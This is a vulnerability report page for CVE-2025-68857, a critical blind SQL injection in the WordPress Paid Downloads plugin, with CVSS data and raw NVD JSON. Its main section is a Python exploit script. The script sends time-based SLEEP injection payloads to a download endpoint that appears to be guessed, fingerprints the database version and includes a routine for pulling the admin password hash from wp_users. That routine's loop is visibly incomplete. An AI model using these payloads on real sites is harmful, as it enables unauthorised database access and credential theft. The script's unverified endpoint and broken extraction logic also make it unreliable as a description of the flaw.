Security Vulnerability Report
中文
CVE-2025-68857 CVSS 9.3 CRITICAL

CVE-2025-68857

Published: 2026-01-22 17:16:12
Last Modified: 2026-04-15 00:35:42

Description

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in ichurakov Paid Downloads paid-downloads allows Blind SQL Injection.This issue affects Paid Downloads: from n/a through <= 3.15.

CVSS Details

CVSS Score
9.3
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L

Configurations (Affected Products)

No configuration data available.

WordPress Paid Downloads插件 <= 3.15

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-68857 PoC - WordPress Paid Downloads SQL Injection # Target: WordPress site with Paid Downloads plugin <= 3.15 # Vulnerability: Blind SQL Injection import requests import time target = "http://target-wordpress-site.com" # The vulnerable endpoint typically handles download requests vulnerable_url = f"{target}/wp-content/plugins/paid-downloads/download.php" def test_sql_injection(): """ Test for SQL injection vulnerability using time-based blind technique """ # Normal request (baseline) start = time.time() normal_params = {"id": "1"} requests.get(vulnerable_url, params=normal_params) normal_time = time.time() - start # Malicious request with SLEEP function # If vulnerable, the response will be delayed by ~5 seconds start = time.time() malicious_params = {"id": "1' AND SLEEP(5)-- -"} response = requests.get(vulnerable_url, params=malicious_params) elapsed = time.time() - start if elapsed >= 5: print("[+] SQL Injection vulnerability confirmed!") print(f"[+] Response delayed by {elapsed:.2f} seconds") else: print("[-] No SQL injection detected") return elapsed >= 5 def extract_db_version(): """ Extract database version using blind SQL injection """ # Payload to extract MySQL version payload = "1' AND IF(SUBSTRING(@@version,1,1)='5', SLEEP(3), 0)-- -" start = time.time() response = requests.get(vulnerable_url, params={"id": payload}) elapsed = time.time() - start if elapsed >= 3: print("[+] Database version appears to be MySQL 5.x") else: print("[-] Database version check failed") def extract_admin_credentials(): """ Extract admin password hash (requires knowledge of table prefix) """ # Generic template for extracting user_pass from wp_users # Adjust table prefix based on actual configuration for i in range(1, 33): # MD5 hash is 32 characters char_payload = f"1' AND IF(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),{i},1)='a', SLEEP(2), 0)-- -" start = time.time() requests.get(vulnerable_url, params={"id": char_payload}) elapsed = time.time() - start # Based on response time, determine if character matches # This is a simplified example; real attack would be more sophisticated print(f"[*] Testing character position {i}...") if __name__ == "__main__": print("[*] CVE-2025-68857 SQL Injection Test") print("[*] Target:", target) if test_sql_injection(): print("\n[+] Vulnerability confirmed, proceeding with data extraction...") extract_db_version() # extract_admin_credentials() # Uncomment to attempt credential extraction

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68857", "sourceIdentifier": "[email protected]", "published": "2026-01-22T17:16:11.650", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in ichurakov Paid Downloads paid-downloads allows Blind SQL Injection.This issue affects Paid Downloads: from n/a through <= 3.15."}, {"lang": "es", "value": "Neutralización incorrecta de elementos especiales utilizados en un comando SQL ('Inyección SQL') vulnerabilidad en ichurakov Paid Downloads paid-downloads permite Inyección SQL Ciega. Este problema afecta a Paid Downloads: desde n/d hasta &lt;= 3.15."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/paid-downloads/vulnerability/wordpress-paid-downloads-plugin-3-15-sql-injection-vulnerability?_s_id=cve", "source": "[email protected]"}]}}